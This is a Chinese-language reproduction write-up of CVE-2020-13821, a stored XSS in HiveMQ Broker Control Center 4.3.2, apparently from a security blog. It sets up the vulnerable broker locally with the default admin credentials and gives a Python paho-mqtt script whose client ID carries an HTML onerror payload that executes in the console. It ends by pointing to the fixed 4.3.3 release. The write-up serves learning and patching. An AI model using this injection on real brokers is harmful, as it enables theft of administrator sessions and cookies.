CVE-2020-13821漏洞复现

Ⅰ 漏洞介绍

官网:CVE - CVE-2020-13821 (mitre.org)

下载地址:HiveMQ 4.3.2 Maintenance Release

Description: An issue was discovered in HiveMQ Broker Control Center 4.3.2. A crafted clientid parameter in an MQTT packet (sent to the Broker) is reflected in the client section of the management console. The attacker’s JavaScript is loaded in a browser, which can lead to theft of the session and cookie of the administrator’s account of the Broker.

描述: 在HiveMQ Broker Control Center 4.3.2中发现了一个问题。在发送给Broker的MQTT数据包中的一个精心构造的clientid参数在管理控制台的客户端部分中被反射。攻击者的JavaScript会加载在浏览器中,这可能导致管理员账户的会话和Cookie被盗取。

其他信息

CVE-ID:CVE-2020-13821

披露时间:2020.5.18

Ⅱ 漏洞原理

  1. XSS漏洞

跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web漏洞,它允许攻击者向网页中注入恶意脚本代码(通常是JavaScript代码)。当其他用户访问受到XSS攻击的网页时,这些恶意脚本代码将在他们的浏览器上执行,从而导致攻击者能够窃取用户的会话信息、篡改网页内容、重定向用户到恶意网站等恶意行为。

XSS漏洞通常存在于网站的输入验证不足或输出过滤不当的情况下。攻击者可以利用用户输入的地方(比如搜索框、评论框等)来注入恶意脚本代码,然后这些代码被存储在服务器上,并在其他用户访问该页面时被服务器发送给他们的浏览器执行。

XSS攻击可以分为三种类型:

  1. 存储型XSS:恶意脚本被存储在服务器上,当其他用户访问包含该恶意脚本的页面时,恶意脚本会被执行。
  2. 反射型XSS:恶意脚本作为URL参数或表单提交数据的一部分,被发送到服务器。服务器在响应中返回并执行这些恶意脚本,从而使攻击者能够攻击访问者。
  3. DOM型XSS:攻击者通过修改页面的DOM环境,使恶意脚本被执行。这种XSS攻击不涉及服务器端的存储和响应,而是完全在客户端执行。

在 HiveMQ MQTT Broker 上发现的问题:管理控制台中未针对 XSS 清理任何已连接设备的客户端 ID,从而导致存储 XSS。

  1. MQTT协议

MQTT(Message Queuing Telemetry Transport,消息队列遥测传输)是一个ISO 标准(ISO/IEC PRF 20922)下基于发布 (Publish)/订阅 (Subscribe)范式的消息协议,它工作在TCP/IP协议族上,是为硬件性能低下的远程设备以及网络状况不好的情况下而设计的发布/订阅型消息协议。MQTT最大优点在于可以以极少的代码和有限的带宽,为远程连接设备提过实时可靠的消息服务,作为一种低开销、低带宽占用的即时通讯协议,使其在物联网、小型设备、移动应用等方面有较广泛的应用。

Ⅲ 漏洞复现

  1. 环境搭建

在以下官网下载有漏洞未修复的4.3.2版本:

HiveMQ 4.3.2 Maintenance Release

下载完成后,通过这个目录路径”D:\hivemq-4.3.2\bin\run.bat”找到run.bat文件,以管理员运行即可启动hivemq,如下图所示:


这里显示运行HiveMQ至少需要Java 11的版本,以下是下载Java 11的文章:

jdk11 下载与安装(非常详细,一步不落!!!)-CSDN博客

下载安装至少JDK11之后,再次点击run.bat文件,如下图所示,说明hivemq成功运行:

如上图所示,我们看到页面对应的IP和端口分别是:127.0.0.1和8080

  1. 访问网站

我们在浏览器键入:127.0.0.1:8080

成功打开hivemq的网址页面如下:

我们输入账号和密码分别是:admin和hivemq,登录进入如下图所示:

如上图所示,点击左侧的Clients,查看连接的客户端,点击Refresh Snapshot更新系统的快照。

  1. 攻击脚本

编写脚本代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#attack.py
import paho.mqtt.client as mqtt
from random import randrange, uniform
import time

mqttBroker = "127.0.0.1"

client = mqtt.Client("UU<img src=x onerror=alert(/HelloWorld/)>ZZ")
client.connect(mqttBroker)

while True:
randNumber = uniform(10000.0, 1000000.0)
client.publish("随机数:",randNumber)
print("This is " + str(randNumber)+" in this program")
time.sleep(5)

(1) mqttBroker = “127.0.0.1”

设置MQTT Broker的地址,我们使用的本地地址127.0.0.1

(2)client = mqtt.Client("UU<img src=x onerror=alert(/HelloWorld/)>ZZ")

创建一个MQTT客户端,设置了客户端ID(即clientid)为 "UU<img src=x onerror=alert(/HelloWorld/)>ZZ"。clientid中包含了恶意的HTML代码 <img src=x onerror=alert(/HelloWorld/)>,这段代码将在管理控制台的客户端部分中被反射执行,从而触发XSS漏洞。

(3) while True:…………

设置一个无限循环用来发布恶意信息。这里的关键是主题部分可能会被用于反射恶意的clientid参数。

  1. 攻击结果

在以上attack.py中导入Paho MQTT 版本请使用如下命令:pip install paho-mqtt==1.5.1。较高的版本不支持我们使用的回调 API 版本

我们直接编译运行:

在Web页面,点击“Refresh Snapshot”刷新一下客户端:

看到弹窗显示我们的恶意XSS。漏洞攻击成功!

Ⅳ 漏洞修复

HiveMQ团队在2020.5.27发布4-3-3版本,修复了该漏洞,请使用更高版本的hivemq-4-3-3:

CONFIRM:https://www.hivemq.com/blog/hivemq-4-3-3-released/

This maintenance release for the 4.3 series includes the following improvements:

Security: Fixed the vulnerability of CVE-2020-13821

​​

Ⅴ 参考资料

CVE漏洞环境搭建笔记 | kafroc

MQTT协议详解(完整版)-CSDN博客

Web漏洞之XSS(跨站脚本攻击)详解 - 知乎 (zhihu.com)

物联网安全之MQTT渗透实战-安全客 - 安全资讯平台 (anquanke.com)

阿里云漏洞库 (aliyun.com)

An issue was discovered in HiveMQ Broker Control Center 4… · CVE-2020-13821 · GitHub Advisory Database · GitHub

HiveMQ 4.3.3 Maintenance Release